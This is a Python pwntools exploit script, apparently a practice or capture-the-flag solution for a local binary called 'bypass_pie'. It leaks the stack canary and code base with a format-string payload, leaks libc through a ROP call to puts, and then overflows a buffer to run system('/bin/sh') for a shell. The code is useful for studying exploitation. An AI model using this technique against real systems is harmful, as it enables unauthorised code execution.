from pwn import*
context.log_level='debug'
context.terminal = ['terminator', '-e']

elf=ELF("./bypass_pie")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

#p=remote("127.0.0.1",9999)
p=process("./bypass_pie")
p.recv()
#gdb.attach(p)

payload="%25$p%27$p"
p.sendline(payload)

canary=int(p.recv(18),16)
print hex(canary)

ret_addr=int(p.recvuntil("a2c"),16)
print hex(ret_addr)

p.recv()

bin_base=ret_addr-0xA2C
print hex(bin_base)

put_plt=elf.plt["puts"]+bin_base
put_got=elf.got["puts"]+bin_base
pop_ret_rdi=0xaa3+bin_base

payload="a"*152+p64(canary)+p64(0)+p64(pop_ret_rdi)+p64(put_got)+p64(put_plt)+p64(0x9D6+bin_base)
p.sendline(payload)

put_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base=put_addr-libc.sym["puts"]
print hex(libc_base)

p.sendline("1")
p.recv()

#gdb.attach(p)
payload="a"*152+p64(canary)+p64(0)+p64(pop_ret_rdi)+p64(next(libc.search("/bin/sh"))+libc_base)+p64(libc.sym['system']+libc_base)

p.sendline(payload)

p.interactive()

p.close()

